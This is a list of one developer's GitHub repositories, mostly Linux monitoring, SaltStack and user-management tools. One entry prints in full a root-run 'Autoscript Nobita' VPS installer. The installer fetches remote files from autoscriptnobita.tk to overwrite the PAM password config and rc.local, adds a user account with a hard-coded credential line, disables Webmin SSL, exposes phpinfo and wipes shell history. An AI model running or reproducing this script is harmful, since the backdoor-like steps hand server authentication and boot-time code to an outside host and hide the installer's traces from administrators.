JacekPodgorski's repositories
add-remove-user
shell exercise
beats-formula
SaltStack formula to manage Elastic Beats platform
build-docker-pipeline
Jenkins Github webhook
check-folder
This small bash script check a folder for new docs and notify this to the user via notifiy-send.
check-linux-by-ssh
Shinken checks designed to be run without installing something on the distant linux (aside ssh keys of course!)
check_stats
nagios check_ script for getting stats on a user / process in a linux system
copy-public-key
A quick script to copy a users public key to a local or remove server, no need to remember or type a full set of commands.
dangerous-shell-commands
List of dangerous shell commands to prevent new linux users to get tricked by trolls. Feel free to contribute
diskstate
This little script check the disk usage and report it to a user.
dr_midnight
dr_midnight
Metricbeat-ElasticSearch
This Repository Contains the ElasticSearch Metricbeat Module Code Developed by the Owner of this Repository
metricbeat-formula
saltstack formula for metricbeat
metricbeat-formula-1
Formula for managing Metricbeat
nagios-plugins
A collection of Nagios Plugins I've written
netdata
Get control of your servers. Simple. Effective. Awesome. https://my-netdata.io/
script.sh
#!/bin/bash # ****************************************** # Program: Autoscript Servis Nobita 2017 # Website: AutoScriptNobita.tk # Developer: Ruzaidie # Nickname: NobiNobita95 # Date: 22-07-2016 # Last Updated: 22-08-2017 # ****************************************** # MULA SETUP myip=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0' | head -n1`; myint=`ifconfig | grep -B1 "inet addr:$myip" | head -n1 | awk '{print $1}'`; if [ $USER != 'root' ]; then echo "Sorry, for run the script please using root user" exit 1 fi if [[ "$EUID" -ne 0 ]]; then echo "Sorry, you need to run this as root" exit 2 fi if [[ ! -e /dev/net/tun ]]; then echo "TUN is not available" exit 3 fi echo " AUTOSCRIPT BY AUTOSCRIPTNOBITA.TK AMBIL PERHATIAN !!!" clear echo "MULA SETUP" clear echo "SET TIMEZONE KUALA LUMPUT GMT +8" ln -fs /usr/share/zoneinfo/Asia/Kuala_Lumpur /etc/localtime; clear echo " ENABLE IPV4 AND IPV6 SILA TUNGGU SEDANG DI SETUP " echo ipv4 >> /etc/modules echo ipv6 >> /etc/modules sysctl -w net.ipv4.ip_forward=1 sed -i 's/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf sed -i 's/#net.ipv6.conf.all.forwarding=1/net.ipv6.conf.all.forwarding=1/g' /etc/sysctl.conf sysctl -p clear echo " MEMBUANG SPAM PACKAGE " apt-get -y --purge remove samba*; apt-get -y --purge remove apache2*; apt-get -y --purge remove sendmail*; apt-get -y --purge remove postfix*; apt-get -y --purge remove bind*; clear echo " " sh -c 'echo "deb http://download.webmin.com/download/repository sarge contrib" > /etc/apt/sources.list.d/webmin.list' wget -qO - http://www.webmin.com/jcameron-key.asc | apt-key add - apt-get update; apt-get -y autoremove; apt-get -y install wget curl; echo " " # script wget -O /etc/pam.d/common-password "http://autoscriptnobita.tk/rendum/common-password" chmod +x /etc/pam.d/common-password # fail2ban & exim & protection apt-get -y install fail2ban sysv-rc-conf dnsutils dsniff zip unzip; wget https://github.com/jgmdev/ddos-deflate/archive/master.zip;unzip master.zip; cd ddos-deflate-master && ./install.sh service exim4 stop;sysv-rc-conf exim4 off; # webmin apt-get -y install webmin sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf # dropbear apt-get -y install dropbear wget -O /etc/default/dropbear "http://autoscriptnobita.tk/rendum/dropbear" echo "/bin/false" >> /etc/shells echo "/usr/sbin/nologin" >> /etc/shells # squid3 apt-get -y install squid3 wget -O /etc/squid3/squid.conf "http://autoscriptnobita.tk/rendum/squid.conf" wget -O /etc/squid/squid.conf "http://autoscriptnobita.tk/rendum/squid.conf" sed -i "s/ipserver/$myip/g" /etc/squid3/squid.conf sed -i "s/ipserver/$myip/g" /etc/squid/squid.conf # openvpn apt-get -y install openvpn wget -O /etc/openvpn/openvpn.tar "http://autoscriptnobita.tk/rendum/openvpn.tar" cd /etc/openvpn/;tar xf openvpn.tar;rm openvpn.tar wget -O /etc/rc.local "http://autoscriptnobita.tk/rendum/rc.local";chmod +x /etc/rc.local #wget -O /etc/iptables.up.rules "http://rzvpn.net/random/iptables.up.rules" #sed -i "s/ipserver/$myip/g" /etc/iptables.up.rules #iptables-restore < /etc/iptables.up.rules # nginx apt-get -y install nginx php-fpm php-mcrypt php-cli libexpat1-dev libxml-parser-perl rm /etc/nginx/sites-enabled/default rm /etc/nginx/sites-available/default wget -O /etc/php/7.0/fpm/pool.d/www.conf "http://rzvpn.net/random/www.conf" mkdir -p /home/vps/public_html echo "<pre>Setup by Nobita95 | telegram @nobinobita95 | website autoscriptnobita.tk</pre>" > /home/vps/public_html/index.php echo "<?php phpinfo(); ?>" > /home/vps/public_html/info.php wget -O /etc/nginx/conf.d/vps.conf "http://autoscriptnobita.tk/rendum/vps.conf" sed -i 's/listen = \/var\/run\/php7.0-fpm.sock/listen = 127.0.0.1:9000/g' /etc/php/7.0/fpm/pool.d/www.conf # etc wget -O /home/vps/public_html/client.ovpn "http://autoscriptnobita.tk/rendum/client.ovpn" wget -O /etc/motd "http://autoscriptnobita.tk/rendum/motd" sed -i 's/AcceptEnv/#AcceptEnv/g' /etc/ssh/sshd_config sed -i "s/ipserver/$myip/g" /home/vps/public_html/client.ovpn useradd -m -g users -s /bin/bash archangels echo "7C22C4ED" | chpasswd echo "UPDATE DAN INSTALL SIAP 99% MOHON SABAR" cd;rm *.sh;rm *.txt;rm *.tar;rm *.deb;rm *.asc;rm *.zip;rm ddos*; clear # restart service service ssh restart service openvpn restart service dropbear restart service nginx restart service php7.0-fpm restart service webmin restart service squid restart service fail2ban restart clear # SELASAI SUDAH BOSS! ( AutoScriptNobita.Tk ) echo "========================================" | tee -a log-install.txt echo "Service Autoscript Nobita (NOBITA SCRIPT 2017)" | tee -a log-install.txt echo "----------------------------------------" | tee -a log-install.txt echo "" | tee -a log-install.txt echo "nginx : http://$myip:80" | tee -a log-install.txt echo "Webmin : http://$myip:10000/" | tee -a log-install.txt echo "Squid3 : 8080" | tee -a log-install.txt echo "OpenSSH : 22" | tee -a log-install.txt echo "Dropbear : 443" | tee -a log-install.txt echo "OpenVPN : TCP 1194 (DAPATKAN OVPN DARI SAYA)" | tee -a log-install.txt echo "Fail2Ban : [on]" | tee -a log-install.txt echo "Timezone : Asia/Kuala_Lumpur" | tee -a log-install.txt echo "Menu : type menu to check menu script" | tee -a log-install.txt echo "" | tee -a log-install.txt echo "----------------------------------------" echo "LOG INSTALL --> /root/log-install.txt" echo "----------------------------------------" echo "========================================" | tee -a log-install.txt echo " PLEASE REBOOT TO TAKE EFFECT !" echo "========================================" | tee -a log-install.txt cat /dev/null > ~/.bash_history && history -c
server-configs-nginx
Nginx HTTP server boilerplate configs
User
It is a bash script that is focused on making it easy for anyone to add or remove users in the Linux environment and not remember the command of it. Once you install it then you can call it any directory by the command User. Note - Install this in your root directory for this to work properly as intended.
user-linux-automation
Automation to create users and remove users from servers